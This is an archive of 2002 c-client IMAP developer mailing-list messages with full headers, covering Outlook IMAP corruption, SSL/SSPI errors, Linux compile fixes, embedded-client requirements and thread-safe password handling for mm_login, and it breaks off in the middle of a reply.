Received: FROM mxu1.u.washington.edu BY mailscan2.cac.washington.edu ; Fri Apr 19 06:52:07 2002 -0700 Received: from hal-5.inet.it (hal-5.inet.it [213.92.5.24]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3JDq5c6029812 for ; Fri, 19 Apr 2002 06:52:06 -0700 Received: (from root@localhost) by hal-5.inet.it (8.11.1/8.11.1) id g3JDq4e232584 for ; Fri, 19 Apr 2002 15:52:04 +0200 Received: from mgm.inet.it(213.92.1.175) by hal-5.inet.it via I-SMTP-4.0.6-100 id s-213.92.1.175-qK7mmp; Fri Apr 19 15:52:04 2002 Message-Id: Date: Fri, 19 Apr 2002 15:50:10 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Matteo Gelosa" To: Subject: Any known Outlook 2000 problems? MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have some Outlook 2000 users experiencing a problem with IMAP corrupted messages (the body contains part of other messages header/body). Although I still not have found the real problem and I do not really love Microsoft, the problems are too frequent to be ignored (by me...). So I was wondering if there's any well known problem related to Outlook 2000 with the imap-2001a server version that I'm currently using. I wrote a custom driver, but to be honest the read file part is very simple to implement and all the other users (Outlook Express, Eudora or Pegasus) do not experience the same problem... Any help? Thanks a lot. Matteo Gelosa -- Matteo Gelosa I.NET S.p.A. Research & Development Via Darwin, 85 - 20019 Settimo Milanese MI mailto:m.gelosa@inet.it Tel. +39.02.32863.1 http://www.inet.it Fax +39.02.32863.7701 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Apr 19 09:29:29 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 19 Apr 2002 09:29:29 -0700 (PDT) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3JGTTXG008617 for ; Fri, 19 Apr 2002 09:29:29 -0700 Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Fri Apr 19 09:29:23 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3JGTMPs022457; Fri, 19 Apr 2002 09:29:23 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3JGSZR8031068; Fri, 19 Apr 2002 09:28:35 -0700 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3JGQBDN094834 for ; Fri, 19 Apr 2002 09:26:12 -0700 Received: FROM mxu3.u.washington.edu BY mailscan5.cac.washington.edu ; Fri Apr 19 09:26:10 2002 -0700 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3JGQ9re005331 for ; Fri, 19 Apr 2002 09:26:10 -0700 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id JAA08029; Fri, 19 Apr 2002 09:25:53 -0700 (PDT) Message-Id: Date: Fri, 19 Apr 2002 09:25:09 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: achim altmann Cc: c-client@u.washington.edu Subject: re: imap-2001 compile-error In-Reply-To: <3CC00E2F.2DD03B39@altmann.li> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I don't see any compile errors in the log that you sent. Did you read the FAQ? From pinedev@shivax2.cac.washington.edu Fri Apr 19 10:26:33 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 19 Apr 2002 10:26:33 -0700 (PDT) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3JHQWXG011276 for ; Fri, 19 Apr 2002 10:26:32 -0700 Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Fri Apr 19 10:26:31 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3JHQVmT004201; Fri, 19 Apr 2002 10:26:31 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3JHPvlZ015806; Fri, 19 Apr 2002 10:25:57 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3JHOiDN027276 for ; Fri, 19 Apr 2002 10:24:44 -0700 Received: FROM mxu3.u.washington.edu BY mailscan6.cac.washington.edu ; Fri Apr 19 10:24:43 2002 -0700 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3JHOgre020456 for ; Fri, 19 Apr 2002 10:24:43 -0700 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id KAA08124; Fri, 19 Apr 2002 10:24:33 -0700 (PDT) Message-Id: Date: Fri, 19 Apr 2002 10:23:15 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Matteo Gelosa Cc: c-client@u.washington.edu Subject: re: Any known Outlook 2000 problems? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 19 Apr 2002 15:50:10 +0200, Matteo Gelosa wrote: > I have some Outlook 2000 users experiencing a problem with IMAP corrupted > messages > I wrote > a custom driver I recommend that you double-check your driver, especially the returned size values. From pinedev@shivax2.cac.washington.edu Mon Apr 22 01:22:05 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 22 Apr 2002 01:22:05 -0700 (PDT) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3M8M4XG025218 for ; Mon, 22 Apr 2002 01:22:04 -0700 Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Mon Apr 22 01:22:03 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3M8M3mT018741; Mon, 22 Apr 2002 01:22:03 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3M8LJR8037732; Mon, 22 Apr 2002 01:21:19 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3M8J0an013176 for ; Mon, 22 Apr 2002 01:19:00 -0700 Received: FROM mxu1.u.washington.edu BY mailscan3.cac.washington.edu ; Mon Apr 22 01:18:59 2002 -0700 Received: from shiva.jussieu.fr (shiva.jussieu.fr [134.157.0.129]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3M8Ivc6001378 for ; Mon, 22 Apr 2002 01:18:58 -0700 Received: from parthe.lpthe.jussieu.fr (parthe.lpthe.jussieu.fr [134.157.10.1]) by shiva.jussieu.fr (8.12.1/jtpda-5.4) with ESMTP id g3M8ItYD052449 ; Mon, 22 Apr 2002 10:18:55 +0200 (CEST) Received: from seth.lpthe.jussieu.fr (IDENT:root@seth.lpthe.jussieu.fr [134.157.10.7]) by parthe.lpthe.jussieu.fr (8.11.1/jtpda-5.3.1) with ESMTP id g3M8Inj06098 ; Mon, 22 Apr 2002 10:18:49 +0200 (MEST) Received: from (zeitlin@localhost) by seth.lpthe.jussieu.fr (8.8.7/jtpda-5.1) id KAA31824 ; Mon, 22 Apr 2002 10:18:23 +0200 Message-Id: <200204220818.KAA31824@seth.lpthe.jussieu.fr> Date: Mon, 22 Apr 2002 10:18:23 +0200 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu, Mark Crispin Subject: Re[2]: SSL connection error In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 17 Apr 2002 16:57:44 -0700 (Pacific Daylight Time) Mark Crispin wrote: MC> On Wed, 17 Apr 2002, Vadim Zeitlin wrote: MC> > could you please have a look at this bug report: MC> > http://mahogany.sourceforge.net/cgi-bin/show_bug.cgi?id=632 ... MC> Error 80090302 is SEC_E_UNSUPPORTED_FUNCTION. Hello, Sorry to bother you once again with this question but I've got an update (see also the URL above): ------- Additional Comments From bstocker@media-plus.ch 2002-04-21 22:40 ------- As mentioned in the OS-Field, I use Win XP. Other MUA like PINE, Mozilla or Outlook work fine in SSL/IMAP Mode. I can't believe that my Windows is "ancient version" and has no SSL Library. So it seems like something is really wrong with Mahogany itself (if Pine works...) but I can't think of anything at all I could be doing wrong - and, needless to say, SSL does work fine for me and many others under both Windows and Unix. If you have any ideas about what could cause this problem, I'd appreciate if you could share them. Thank you again! VZ From pinedev@shivax2.cac.washington.edu Mon Apr 22 10:22:36 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 22 Apr 2002 10:22:36 -0700 (PDT) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3MHMZXG011801 for ; Mon, 22 Apr 2002 10:22:35 -0700 Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Mon Apr 22 10:22:35 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3MHMYmT030968; Mon, 22 Apr 2002 10:22:35 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3MHKalZ017244; Mon, 22 Apr 2002 10:20:36 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3MHH7an025102 for ; Mon, 22 Apr 2002 10:17:07 -0700 Received: FROM mxu3.u.washington.edu BY mailscan6.cac.washington.edu ; Mon Apr 22 10:17:07 2002 -0700 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3MHH6re012774 for ; Mon, 22 Apr 2002 10:17:06 -0700 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id KAA12007; Mon, 22 Apr 2002 10:16:23 -0700 (PDT) Message-Id: Date: Mon, 22 Apr 2002 10:07:22 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vadim Zeitlin Cc: c-client@u.washington.edu Subject: re: Re[2]: SSL connection error In-Reply-To: <200204220818.KAA31824@seth.lpthe.jussieu.fr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 22 Apr 2002 10:18:23 +0200 (CET), Vadim Zeitlin wrote: > ------- Additional Comments From bstocker@media-plus.ch 2002-04-21 22:40 > > As mentioned in the OS-Field, I use Win XP. Other MUA like PINE, Mozilla > > or Outlook work fine in SSL/IMAP Mode. I can't believe that my Windows is > > "ancient version" and has no SSL Library. Right; if he is using WinXP then he certainly should have a current version of Microsoft SSPI! The problem with dinoware SSPI was with un-updated Win95 and first edition Win98, and that's the only time I've seen this problem before. The fellow who had that problem the last time was very aggressive about refusing to update IE on his machine. > So it seems like something is really wrong with Mahogany itself (if Pine > works...) but I can't think of anything at all I could be doing wrong - > and, needless to say, SSL does work fine for me and many others under both > Windows and Unix. Yes, I agree. I don't know what Mahogany could be doing to cause that problem in Pine, since the SSL code used by both Mahogany and Pine is carefully isolated in c-client. The only other possibility is that something is broken in the copy of c-client that you have. I think that your next step should be to give him a copy of mtest.exe built with the version of c-client that you're using, along with instructions of how to use it. If mtest works OK, then the next thing that I'd suggest is that you look to see if there is some way that you could be causing the SSPI DLLs to be unloaded. Also check to make sure that you're using the proper linkage.c generated by c-client and not some version of your own. From pinedev@shivax2.cac.washington.edu Mon Apr 22 11:05:06 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 22 Apr 2002 11:05:06 -0700 (PDT) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3MI56XG013829 for ; Mon, 22 Apr 2002 11:05:06 -0700 Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Mon Apr 22 11:05:05 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3MI54Ps021811; Mon, 22 Apr 2002 11:05:04 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3MI42lZ016474; Mon, 22 Apr 2002 11:04:02 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3MI0ian034610 for ; Mon, 22 Apr 2002 11:00:44 -0700 Received: FROM mxu1.u.washington.edu BY mailscan2.cac.washington.edu ; Mon Apr 22 11:00:44 2002 -0700 Received: from plusinternational.com (host139.plusinternational.com [64.114.68.139]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3MI0ic6000650 for ; Mon, 22 Apr 2002 11:00:44 -0700 Received: from PCS-MTA by plusinternational.com with Novell_GroupWise; Mon, 22 Apr 2002 09:41:35 -0700 Message-Id: Date: Mon, 22 Apr 2002 09:41:29 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Ian Dobson" To: Subject: Errors compiling the c-client on linux Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, when I try to compile the c-client on linux I get the following bunch of errors, can anyone help me out? `cat CCTYPE` -c `cat CFLAGS` `cat OSCFLAGS` -c osdep.c In file included from osdep.c:42: env_unix.c: In function `do_date': env_unix.c:296: warning: initialization makes pointer from integer without a cast env_unix.c:297: dereferencing pointer to incomplete type env_unix.c:297: dereferencing pointer to incomplete type env_unix.c:298: dereferencing pointer to incomplete type env_unix.c:299: warning: assignment makes pointer from integer without a cast env_unix.c:301: dereferencing pointer to incomplete type env_unix.c:301: dereferencing pointer to incomplete type env_unix.c:309: dereferencing pointer to incomplete type env_unix.c:312: dereferencing pointer to incomplete type env_unix.c:316: dereferencing pointer to incomplete type env_unix.c:316: dereferencing pointer to incomplete type env_unix.c:316: dereferencing pointer to incomplete type env_unix.c:317: dereferencing pointer to incomplete type env_unix.c:317: dereferencing pointer to incomplete type env_unix.c:317: dereferencing pointer to incomplete type In file included from osdep.c:46: tz_sv4.c: In function `rfc822_timezone': tz_sv4.c:30: `tzname' undeclared (first use in this function) tz_sv4.c:30: (Each undeclared identifier is reported only once tz_sv4.c:30: for each function it appears in.) tz_sv4.c:30: `daylight' undeclared (first use in this function) tz_sv4.c:30: dereferencing pointer to incomplete type osdep.c: In function `checkpw': osdep.c:81: warning: initialization makes pointer from integer without a cast osdep.c:82: dereferencing pointer to incomplete type osdep.c:82: dereferencing pointer to incomplete type osdep.c:83: dereferencing pointer to incomplete type osdep.c:84: warning: assignment makes pointer from integer without a cast osdep.c:86: dereferencing pointer to incomplete type osdep.c:86: dereferencing pointer to incomplete type osdep.c:94: dereferencing pointer to incomplete type make[3]: *** [osdep.o] Error 1 make[3]: Leaving directory `/usr/src/redhat/SOURCES/imap-2000c/c-client' make[2]: *** [slx] Error 2 make[2]: Leaving directory `/usr/src/redhat/SOURCES/imap-2000c/c-client' make[1]: *** [OSTYPE] Error 2 make[1]: Leaving directory `/usr/src/redhat/SOURCES/imap-2000c' make: *** [slx] Error 2 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Apr 22 11:20:04 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 22 Apr 2002 11:20:04 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3MIK4XG014513 for ; Mon, 22 Apr 2002 11:20:04 -0700 Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Mon Apr 22 11:20:03 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3MIK3mT000719; Mon, 22 Apr 2002 11:20:03 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3MIIQR8027298; Mon, 22 Apr 2002 11:18:26 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3MIGran038346 for ; Mon, 22 Apr 2002 11:16:53 -0700 Received: FROM mxu1.u.washington.edu BY mailscan6.cac.washington.edu ; Mon Apr 22 11:16:53 2002 -0700 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3MIGqc6006160 for ; Mon, 22 Apr 2002 11:16:52 -0700 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id LAA12118; Mon, 22 Apr 2002 11:16:41 -0700 (PDT) Message-Id: Date: Mon, 22 Apr 2002 11:12:32 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Ian Dobson Cc: c-client@u.washington.edu Subject: re: Errors compiling the c-client on linux In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN You have an old version of c-client (imap-2000c). Upgrade to a later version on ftp://ftp.cac.washington.edu/mail/imap.tar.Z Alternatively, somewhere in imap-2000c/src/osdep/unix/os_lnx.h, insert the line: #include The Linux port was originally contributed code, and the individual who did it assumed that sys/time.h would always include time.h. Later releases of Linux broke this assumption; the developers of Linux have never been particularly scrupulous about maintaining compatibility. From pinedev@shivax2.cac.washington.edu Tue Apr 23 21:58:39 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 23 Apr 2002 21:58:39 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3O4wdXG022803 for ; Tue, 23 Apr 2002 21:58:39 -0700 Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Tue Apr 23 21:58:30 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3O4wTPs012630; Tue, 23 Apr 2002 21:58:29 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3O4vjR8045484; Tue, 23 Apr 2002 21:57:45 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3O4s3Uv023978 for ; Tue, 23 Apr 2002 21:54:03 -0700 Received: FROM mxu1.u.washington.edu BY mailscan4.cac.washington.edu ; Tue Apr 23 21:54:03 2002 -0700 Received: from mail.netindial.com (mail.netindial.com [202.63.106.102]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3O4rxc6025164 for ; Tue, 23 Apr 2002 21:54:01 -0700 Received: (qmail 20947 invoked from network); 24 Apr 2002 04:53:05 -0000 Received: from localhost (HELO netindial.com) ([127.0.0.1]) (envelope-sender ) by localhost (qmail-ldap-1.03) with SMTP for ; 24 Apr 2002 04:53:05 -0000 Received: from 202.63.106.100 (proxying for 192.9.200.116) (Netindial Mail authenticated user marium) by mail.netindial.com with HTTP; Wed, 24 Apr 2002 10:23:05 +0530 (IST) Message-Id: <4050.202.63.106.100.1019623985.netindial@mail.netindial.com> Date: Wed, 24 Apr 2002 10:23:05 +0530 (IST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Marium Saleha" To: c-client@u.washington.edu Subject: Embedded IMAP MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I want to know the constraints and requirements for implementing Imap Client for an embedded Device. To be specific,I want to know the Memory requirements (Ram & ROM) and other constraints -- Marium -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Apr 25 14:16:42 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 25 Apr 2002 14:16:42 -0700 (PDT) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3PLGgXG009755 for ; Thu, 25 Apr 2002 14:16:42 -0700 Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Thu Apr 25 14:16:41 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3PLGfmT020430; Thu, 25 Apr 2002 14:16:41 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3PLFtlZ012358; Thu, 25 Apr 2002 14:15:55 -0700 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3PLBjw3034206 for ; Thu, 25 Apr 2002 14:11:45 -0700 Received: FROM mxu2.u.washington.edu BY mailscan5.cac.washington.edu ; Thu Apr 25 14:11:48 2002 -0700 Received: from ts2.bynari.net (gw1.bynari.net [216.234.228.98]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3PLBmZB024116 for ; Thu, 25 Apr 2002 14:11:48 -0700 Received: from i3-113.bynari.net ([192.168.3.113] helo=samadams.bynari.net) by ts2.bynari.net with esmtp (Exim 3.33 #2) id 170rKj-0004sx-00 for c-client@u.washington.edu; Thu, 25 Apr 2002 17:03:21 -0500 Message-Id: <1019769126.11442.5.camel@samadams.bynari.net> Date: 25 Apr 2002 16:12:05 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Shawn Walker To: c-client@u.washington.edu Subject: User's Password Content-Type: text/plain Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Is there a way that I can pass/store a user's password before calling mail_open(). I want don't want to give the password in mm_login() callback function because I can't store a global varible since the application need to be threaded-safe and globals don't work well in that environment. Another possiblity is that would be great is to pass my data pointer to a session that can pass that into the callback (get the data pointer from MAILSTREAM data). Thanks! -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Apr 25 14:33:26 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 25 Apr 2002 14:33:26 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3PLXPXG010415 for ; Thu, 25 Apr 2002 14:33:25 -0700 Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Thu Apr 25 14:33:25 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3PLXPPs011290; Thu, 25 Apr 2002 14:33:25 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3PLVteo025772; Thu, 25 Apr 2002 14:31:55 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3PLTww3022624 for ; Thu, 25 Apr 2002 14:29:58 -0700 Received: FROM mxu3.u.washington.edu BY mailscan2.cac.washington.edu ; Thu Apr 25 14:30:01 2002 -0700 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3PLU0re011606 for ; Thu, 25 Apr 2002 14:30:00 -0700 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id OAA18037; Thu, 25 Apr 2002 14:29:51 -0700 (PDT) Message-Id: Date: Thu, 25 Apr 2002 14:20:18 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Shawn Walker Cc: c-client@u.washington.edu Subject: re: User's Password In-Reply-To: <1019769126.11442.5.camel@samadams.bynari.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On 25 Apr 2002 16:12:05 -0500, Shawn Walker wrote: > Is there a way that I can pass/store a user's password before calling > mail_open(). I want don't want to give the password in mm_login() > callback function because I can't store a global varible since the > application need to be threaded-safe and globals don't work well in that > environment. Globals work perfectly well in threaded applications. You just have to understand the implications of threading when using globals. Yes, you probably don't want to have a char *password; since another thread could change it in between the time that you set it and it is referenced by mm_login(). On the other hand, if you have some sort of list of passwords and the associated host and/or mailbox name for each password, then it is a relatively simple matter to use the data from the first argument (a NETMBX*) to locate the correct password and use it. Let me emphasize again that the myth that "globals don't work in threaded applications" is just that: a myth. Globals work perfectly well, as long as you understand how threading interacts with globals. > Another possiblity is that would be great is to pass my data pointer to > a session that can pass 